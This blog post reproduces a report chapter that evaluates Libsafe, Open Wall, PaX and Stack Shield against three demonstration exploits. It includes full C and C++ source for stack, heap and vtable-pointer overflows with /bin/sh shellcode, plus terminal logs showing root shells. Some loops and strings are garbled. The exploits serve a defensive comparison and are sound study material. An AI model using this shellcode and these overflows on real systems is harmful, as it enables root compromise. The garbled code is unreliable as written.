In order to test various protection methods, we have tested a few exploits on our system. The choosen protections are respectively Libsafe, Open Wall, PaX and Stack Shield.
10.1 Exploits
We intend to see how our system behaves when it faces stack and heap overflows. We use simple exploits to perform these tests.
10.1.1 Stack overflow
We will use only one exploit to test stack attacks : stackl is a program belonging to root, with a SUID bit, and provides a root shell. The shellcode is obtained by overflowing a local variable.
#include <stdio.h> #include <string.h>
/* Code to execute: */ char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
int main(int argc, char *argv[]){
char buffer[96]; /* buffer to overflow */ int i;
long *long_ptr = (long *)large_string;
for (i = 0; i < 32;
*(long_ptr + i) = (int)buffer; for (i = 0; i < (int)strlen(shellcode);
large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0;
}
How does it work ? In the first loop, large-string is filled with four-byte words containing the address of the buffer to overflow (buffer). In the second loop, the shellcode is copied into largestring. At this stage, largestring consists of shellcode + address of buffer. Then the vulnerable function strcpy is called. When the main returns, the instructions in buffer will be executed, because the return address has been previously overwritten, and now contains a pointer to buffer.
The SUID bit and the root ownership of the binary are only a way to show how dangerous it may be, we mainly focus on the overflow here.
10.1.2 Heap overflow Heap and malloc
The first program we will use to test heap overflow exploits (heap!) is based on the same principle as stack1 and provides a shell root too. The difference is that we smash a malloc'ed variable:
#include <stdio.h> #include <stdlib.h>
int main(int argc, char **argv){ int *ret;
char *shellcode = (char*)malloc(64);
sprintf(shellcode,
M\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" M\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh");
*((int*)&ret+2) = (int)shellcode; return 0;
}
Some memory is allocated in the heap, the shellcode is copied there, and the return address of the main is overwritten (by *((int*)&ret+2) = (int)shellcode;) to point to the shellcode address. When main returns, it provides a shell.
C++ and VPTR
The second exploit (heap2) is coded in C++ and is based on a vitrual pointer attack:
#include <stdio.h> #include <string.h> #include <malloc.h>
class A{ private: char str[32];
public:
void setBuffer(char * temp){strcpy (str, temp);} virtual void printBuffer(){printf("%s\n", str);}
};
// This is very theorical but we only want to test the concept
char * buildBuffer (unsigned int bufferAddress, int vptrOffset, int numberAddres s) {
char * outputBuffer;
unsigned int * internalBuffer;
unsigned int offsetShellCode = (unsigned int)vptrOffset - 1; int i=0;
outputBuffer = (char *)malloc(vptrOffset +4+1); for (i=0; i<vptrOffset; outputBuffer[i]='\x90'; internalBuffer = (unsigned int *)outputBuffer;
for (i=0;i<numberAddress;i++) internalBuffer[i]=bufferAddress + offsetSh
ellCode;
*(unsigned int *)&outputBuffer[vptrOffset]=bufferAddress; outputBuffer[offsetShellCode] = '\xCC'; outputBuffer[vptrOffset+4] = '\x00';
return (outputBuffer);
}
int main (void){
A *a1;
a1 = new A;
a1->setBuffer(buildBuffer((unsigned int) &(*a1), 32, 4)); a1->printBuffer(); return 0;
}
Our A class is very simple as it contains a (private) buffer, and two (public) methods, to write into this buffer and print its content. The buildBuffer function aims at creating a corrupted string which will launch a trap interruption (more details about the vptr may be found in the first chapter). This means that instead of printing a classical string, we will execute the shellcode when calling a1->printBuffer(). We just have a much more basic shellcode than before, as it is a one-byte instruction, \xCC.
10.2 Execution 10.2.1 Zero protection
On an unprotected system (2.4.17 Kernel, no patch, no libsafe activation, traditional gcc compilation), our stack overflow exploit gives this result:
glaume@dante:~/Secu/Tests/Protection$ whoami glaume
glaume@dante:~/Secu/Tests/Protection$ ./stack1
sh-2.05a# whoami
root
sh-2.05a#
The attempt is also successful with the first heap overflow:
glaume@dante:~/Secu/Tests/Protection$ whoami glaume
glaume@dante:~/Secu/Tests/Protection$ ./heap
sh-2.05a# whoami
root
sh-2.05a#
The second heap overflow exploit execution shows a SIGTRAP, which means it is successful too:
glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap
As expected, this unprotected system is vulnerable to our basic exploits. 10.2.2 Libsafe
Libsafe should detect attacks based on vulnerable functions:
glaume@dante:~/Secu/Tests/Protection$ ./stack1 Detected an attempt to write across stack boundary. Terminating /home/glaume/Secu/Tests/Protection/stack1.
uid=1001 euid=0 pid=295
Call stack:
0x40018534 0x40018654 0x80484fc 0x4003c65a
Overflow caused by strcpy() Killed
glaume@dante:~/Secu/Tests/Protection$
This attack uses the strcpy function, that is why libsafe detects it. The overflow detection message is generated by Libsafe to specify:
• a general alert message and the involved program
• user and process information
• some stack information (return addresses)
• the implied function
Let us test how it behaves with our other exploits:
glaume@dante:~/Secu/Tests/Protection$ whoami glaume
glaume@dante:~/Secu/Tests/Protection$ ./heap
sh-2.05a# whoami
root
sh-2.05a#
glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap
None of these heap attacks takes advantage of a vulnerable libc function which is re-written by Libsafe, the exploits are successful.
10.2.3 Open Wall Kernel patch
We run the same tests:
glaume@dante:~/Secu/Tests/Protection$ ./stack1 Segmentation fault
glaume@dante:~/Secu/Tests/Protection$
The instructions of the shellcode have been placed in the stack; they cannot be executed. This Kernel patch does not provide any information here about the causes of the segmentation fault.
glaume@dante:~/Secu/Tests/Protection$ whoami glaume
glaume@dante:~/Secu/Tests/Protection$ ./heap
sh-2.05a# whoami
root
sh-2.05a#
glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap
Open Wall does not protect our system from execution of instructions located in the heap, that is why these exploits work well.
10.2.4 PaX Kernel patch
We expect a better protection this time:
glaume@dante:~/Secu/Tests/Protection$ ./stack1 Killed
Feb 9 16:25:00 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/stack1(stack1):333, uid/euid: 1001/0, EIP: BFFFFA9C, ESP: BFFFFB04 Feb 9 16:25:00 dante kernel: PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 0 7 89 46 0c b0 0b 89 f3 8d 4e
glaume@dante:~/Secu/Tests/Protection$ ./heap
Killed
Feb 9 16:25:10 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/heap(heap):335, uid/euid: 1001/0, EIP: 08049690, ESP: BFFFFB14
Feb 9 16:25:10 dante kernel: PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 0 7 89 46 0c b0 0b 89 f3 8d 4e
glaume@dante:~/Secu/Tests/Protection$ ./heap2
Killed
Feb 13 11:32:43 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/heap2(heap2):387, uid/euid: 1001/1001, EIP: 08049CB7, ESP: BFFFFB20
Feb 13 11:32:43 dante kernel: PAX: bytes at EIP: cc 98 9c 04 08 00 00 00 00 b7 9 c 04 08 b7 9c 04 08 b7 9c 04
Both the stack and heap overflows are detected and prevented: no instruction from these memory areas is executed.
Provided information is:
• log message with timestamp
• program path, user id and effective id
• value of the instruction register
• value of the stack pointer
• bytes at the address pointed by the instruction register 10.2.5 Stack Shield
If we compile our three programs with the stack shield tools instead of the classical gnu compilers, we obtain three binaries that we test on an unprotected system. The result is very satisfying, as none of our exploits works. No debug information is available nor any log, as the exploit achievement is prevented directly at compile time, e.g not by an external system which detects an anormal behaviour at run-time.
10.3 Synthesis
In the table:
• V means our system is Vulnerable
• P means our system is Protected
Here is a sum-up of our tests:
| No protection | Libsafe | Open Wall | PaX | Stack Shield |
stackl | V | P | P | P | P |
heapl | V | V | V | P | P |
heap2 | V | V | V | P | P |
No comments:
Post a Comment